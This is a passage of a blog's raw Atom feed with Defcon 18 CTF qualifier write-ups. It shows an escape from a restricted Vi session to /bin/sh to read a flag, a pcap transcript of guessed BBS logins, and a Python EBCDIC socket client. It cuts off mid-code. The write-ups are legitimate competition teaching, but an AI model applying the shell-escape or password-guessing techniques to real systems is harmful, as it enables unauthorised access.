style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Thanks again to my team mates for their input!&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1465952948688407781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1465952948688407781' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1465952948688407781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1465952948688407781'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pwtent.html' title='Defcon 18 CTF quals writeup: Pwtent Pwnables 200'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-5392897349584657776</id><published>2010-05-25T21:45:00.004+01:00</published><updated>2010-05-25T21:59:02.380+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="breakout"/><category scheme="http://www.blogger.com/atom/ns#" term="ctf"/><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="quals"/><category scheme="http://www.blogger.com/atom/ns#" term="sh"/><category scheme="http://www.blogger.com/atom/ns#" term="vi"/><title type='text'>Defcon 18 CTF quals writeup: Pursuit Trivial 200</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;The second Defcon 18 CTF challenge that I solved was &lt;b&gt;Pursuit Trivial 200&lt;/b&gt;.&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Title: sheep@pwn21.ddtek.biz:6000 sheep go baaAaaA&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Being it part of the trivial category I though immediately that the password for user &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;sheep&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; was &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;baaAaaA&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; and in fact, it was.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I logged into the server over SSH and got a grey terminal where I could not type in any command. I thought that it was a local issue, but it wasn&#39;t. I tried to resize the terminal with no luck.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;By swapping in and out of the terminal, I accidentally spotted the cursor at the very top left corner of the screen. Same position of any common text editor. My first try was to terminate it with usual &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;CTRL+*&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; combinations and &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;:q!&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;. None of these work, but at this point I wondered if it was &lt;a href=&quot;http://en.wikipedia.org/wiki/Vi&quot;&gt;Vi&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Like I did a few times in the past during jail break assessments, I (ab)used Vi &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:&#39;trebuchet ms&#39;;&quot;&gt;command as follows:&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;:set shell=/bin/sh&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;:sh&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;div&gt;Pwned!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I typed in the following commands and luckily the key was in my home directory:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;id&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;uid=505(sheep) gid=505(sheepy) groups=505(sheepy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;pwd&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;/chroot/home/sheep&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;key&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cat key&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;SHis4pansies&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;The key is &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;SHis4pansies&lt;/span&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/5392897349584657776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/5392897349584657776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5392897349584657776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5392897349584657776'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pursuit.html' title='Defcon 18 CTF quals writeup: Pursuit Trivial 200'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-8493071151294024159</id><published>2010-05-25T21:21:00.011+01:00</published><updated>2010-05-27T09:58:12.587+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ctf"/><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="pcap"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="quals"/><title type='text'>Defcon 18 CTF quals writeup: Packet Madness 200</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Last week-end I played Defcon #18 Capture The Flag quals together with some friends. We made up a team of less than 10 people who worked hard, as much as we could, slept very little and had a lot of fun. We ended up in the Top 60!&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I am going to post a few write-ups about the challenges that I have solved. Let&#39;s kick off with the &lt;b&gt;Packet Madness 200&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;p class=&quot;line874&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;Title: These folks speak a different language. Join their site and translate the key for us.&lt;span class=&quot;anchor&quot; id=&quot;line-207&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-208&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line862&quot; style=&quot;font-family: sans-serif; &quot;&gt;File: pkt200_55216efa7a182fb0.pcap (mirrored &lt;a href=&quot;http://stalkr.net/files/defcon/2010/quals/packet200/pkt200_55216efa7a182fb0.pcap&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;It is a capture file of a TCP traffic between &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;192.41.96.121:8686 (server) and 192.41.96.15:50566 (client).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;By using Wireshark&#39;s &lt;a href=&quot;http://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowTCPSection.html&quot;&gt;Follow TCP streams&lt;/a&gt; feature I spotted the traffic was Telnet-like EBCDIC encoded, but clearly visible in ASCII from the tool:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;For help at any time enter: ?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;a - new user&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;l - login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;n - news&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;m - maintenance&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;q - quit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;? - print this message&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : .a&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user id: .marsddtek&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user password: .ilovesheep&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Again: .ilovesh33p&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Passwords do not match.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .a&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user id: .mars.ddtek&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user password: .ilovesh33p&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Again: .ilovesh33p&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Welcome .mars.ddtek, we hope you enjoy our bbs&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.You may now login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .administrator&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .password&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Invalid user.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .admin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .pass&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Invalid user.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .root&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .root&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Invalid user.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .m&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Please log in to use maintenance mode.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .n&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Please log in to read the news.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .mars.ddtek&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .ilovesh33p&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Welcome back.mars.ddtek.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .m&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Insufficient privileges.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .Admin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .admin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Invalid user.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: .Admin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: .12345&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Invalid user.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;.cmd : .?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;a - new user&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;l - login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;n - news&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;m - maintenance&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;q - quit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;? - print this message&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : .q&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;As you can see yourself, it looks familiar to old-fashion IBM mainframes and BBS systems.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;I tried to connect to the server&#39;s port and it responded, obviously EBCDIC encoded data. &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;Then &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;I looked for a proper Telnet client that speaks EBCDIC, but my Google dorking skills were poor during the night. I ended up coding my own crappy Python script with mere &lt;a href=&quot;http://docs.python.org/library/socket.html&quot;&gt;socket&lt;/a&gt; library and string encoding/decoding:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:sans-serif;&quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;#!/usr/bin/env python&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;import socket&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;s.connect((&#39;192.41.96.121&#39;, 8686))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;data = s.recv(1024)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;print data.decode(&#39;EBCDIC-CP-BE&#39;).encode(&#39;ascii&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;data = s.recv(1024)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;print data.decode(&#39;EBCDIC-CP-BE&#39;).encode(&#39;ascii&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;while True:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;command = raw_input()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not command or command == &quot;?&quot;:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;question = True&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;question = False&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;command = &quot;%s\n&quot; % command&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;command = command.encode(&#39;EBCDIC-CP-BE&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s.send(command)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data = s.recv(1024)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data = data.decode(&#39;EBCDIC-CP-BE&#39;).encode(&#39;ascii&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print data&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  